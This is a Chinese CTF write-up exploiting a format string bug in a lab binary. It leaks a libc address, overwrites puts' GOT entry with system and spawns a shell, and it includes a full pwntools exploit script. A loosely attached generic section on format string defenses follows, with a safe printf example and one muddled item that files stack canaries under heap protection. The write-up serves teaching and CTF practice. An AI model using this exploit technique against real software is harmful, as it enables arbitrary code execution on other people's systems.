CTF-PWN-printf(实验吧|格式化字符漏洞)

本文详细介绍了如何在存在格式化字符漏洞的程序中,通过逆向工程找到正确的输入,利用该漏洞控制内存读写,进而构造system(/bin/sh)命令获取shell的过程。文章深入分析了漏洞原理,展示了如何计算system函数地址并覆盖到puts函数,最终实现远程代码执行。

首先运行文件,发现需要输入name,于是打开ida逆向出正确的name,来到了程序主界面。

首先我们先逐一判断函数的用途。put_file是让我们输入文本名称和内容,get_file是让我们输入文本名称,然后程序输出文本内容。show_dir是按照先来后出输出所有的文本名称,并且无缝衔接。

这个时候我们发现get_file函数中显然有一个格式化字符漏洞。

这种漏洞会导致我们可以控制任意内存的读写,因此我们考虑由此下手,构造system(/bin/sh)拿到shell

由于show_dir为反向输出,并且中间没有分隔符号,所以我们对输入的文件名下手,构造/bin/sh,那么自然,我们就可以劫持puts函数为system函数

然而程序本身没有system函数的入口,所以我们要找到一种办法将GOT中system函数的地址覆盖到puts函数中

在Linux终端,通过输入:

readelf -r pwn

我们可以查看到puts在运行的时候实际地址被存放到的地址

所以我们下一步就是找到system的实际地址,然后利用格式化字符漏洞,将其写入0x804a028中 

 这里参考了一下leehaming的博客https://blog.youkuaiyun.com/lee_ham/article/details/82556622,利用以下公式,可以算出system在运行时的实际地址

libc_base = __libc_start_main_addr - __libc_start_main_offset

system_addr = libc_base + system_offset

用gdb-peda在printf函数处下断点,检查栈。(命令为 stack 100)

 

我们发现了__libc_start_main+247为0xffffd03c,又因为栈顶位置与0xffffd03c距离为364,364/4=91,所以我们可以直接输入%91$x来表示,于是__libc_start_main就可以求出来了

通过libc-database可以知道system函数相关的偏移值,然后system函数的地址我们也可以求出

接下来就是将地址写入puts的临时地址位置中。

为了加快速度,我们可以考虑将system的地址(假设为0xaabbccdd)分成两部分,低地址放进 0x804a028,高地址放进0x804a02a。

构造payload

payload1 = p32(puts_got_addr) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
payload2 = p32(puts_got_addr+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'
之所以是%7$hn,是因为我们在程序停止于printf函数时,打印栈发现我们需要改变的地方的偏移量为7。

exp程序:

from pwn import *
context.log_level = 'debug'

#prog = remote('106.2.25.7',8001)
prog=process("./pwn")

def putfile( prog , filename , content ) :
   print 'putting ' , content 
   prog.sendline('put')
   prog.recvuntil(':')
   prog.sendline(filename)
   prog.recvuntil(':')
   prog.sendline(content)
   prog.recvuntil('ftp>')
def getfile(prog , filename ) :
   prog.sendline('get')
   prog.recvuntil(':')
   prog.sendline(filename)
   return prog.recv(2048)

prog.recv(2048)
prog.sendline('rxraclhm')
prog.recv(2048)
putfile(prog,'sh;','%91$x')
res = getfile( prog , 'sh;')
print res
mainadd = int(res[:8], 16)-247
sysadd = mainadd - 0x18540 + 0x3ada0 
print 'system addr ' , hex(sysadd)
putsadd = 0x0804a028

payload1 = p32(putsadd) + '%%%dc' % ((sysadd & 0xffff)-4) + '%7$hn'
putfile(prog , 'in/' , payload1)
getfile(prog , 'in/')
prog.recvuntil('ftp>')

payload2 = p32(putsadd+2) + '%%%dc' % ((sysadd>>16 & 0xffff)-4) + '%7$hn'
putfile(prog, '/b' , payload2)
getfile(prog,'/b')
prog.recvuntil('ftp>')
prog.sendline('dir')
prog.interactive()

 

### 非栈上格式化字符漏洞概述 在CTF比赛的PWN类别中,格式化字符漏洞是一种常见的安全漏洞,通常出现在使用不安全的格式化函数(如`printf`、`sprintf`等)时。如果程序允许用户直接控制格式化字符串参数,而未进行适当的验证和过滤,则可能导致攻击者利用该漏洞读取或写入内存数据。 在栈上的格式化字符漏洞利用较为常见,而非栈上格式化字符漏洞则涉及对堆内存或其他非栈内存区域的利用。这类漏洞通常更具挑战性,但也提供了更多的攻击面。 ### 利用方法 非栈上格式化字符漏洞的利用主要依赖于对格式化字符串中特殊格式符的使用,尤其是`%n`。`%n`的作用是将当前已经输出的字符数写入指定的指针位置。通过精心构造格式化字符串,攻击者可以实现任意地址写入(Arbitrary Write)。 在非栈上场景中,通常需要找到一个可以控制的指针,指向堆内存或其他可写区域。例如,攻击者可以通过泄露堆地址,然后利用`%n`将数据写入堆中的特定位置。这种方法常用于覆盖函数指针或全局偏移表(GOT)中的条目,从而实现控制流劫持。 ```c // 示例代码,展示不安全的格式化字符串使用 #include <stdio.h> void vulnerable_function(char *user_input) { printf(user_input); // 不安全的格式化字符串使用 } int main(int argc, char **argv) { if (argc > 1) { vulnerable_function(argv[1]); } return 0; } ``` 在上述示例中,如果攻击者能够控制`user_input`的内容,则可以构造特定的格式化字符串来触发漏洞。例如,攻击者可以输入类似`%x%x%x%n`的字符串,试图读取栈上的数据并写入特定地址。 ### 防御方法 为了防止非栈上格式化字符漏洞的利用,可以采取以下几种防御措施: 1. **避免使用不安全的格式化函数**:尽量使用带有显式参数的格式化函数,如`fprintf`、`snprintf`等,并确保格式字符串是静态常量,而不是用户可控的输入。 2. **输入验证和过滤**:对用户输入进行严格的验证和过滤,确保输入中不包含任何格式化字符(如`%`)。可以通过白名单机制来限制输入内容。 3. **地址空间布局随机化(ASLR)**:启用ASLR可以增加攻击者预测内存地址的难度,从而降低漏洞利用的成功率。 4. **堆内存保护**:使用现代编译器提供的堆内存保护机制,如堆栈保护(Stack Canaries)、地址随机化等,以增加攻击者利用堆漏洞的难度。 5. **代码审计和静态分析**:定期进行代码审计和静态分析,查找并修复潜在的安全漏洞。使用静态分析工具可以帮助识别不安全的格式化字符串使用。 6. **运行时检测**:在程序运行时检测格式化字符串的使用情况,及时发现并阻止异常行为。 ### 示例:修复不安全的格式化字符串使用 ```c // 修复后的代码,使用安全的格式化字符串使用方式 #include <stdio.h> void safe_function(char *user_input) { printf("%s", user_input); // 使用安全的方式处理用户输入 } int main(int argc, char **argv) { if (argc > 1) { safe_function(argv[1]); } return 0; } ``` 在修复后的代码中,通过使用`%s`格式化符并显式传递用户输入,避免了用户输入直接作为格式化字符串的风险。 ### 总结 非栈上格式化字符漏洞的利用虽然较为复杂,但通过精心构造的格式化字符串和内存操作,攻击者仍然可以实现严重的攻击效果。因此,在开发过程中,必须采取有效的防御措施,确保程序的安全性。
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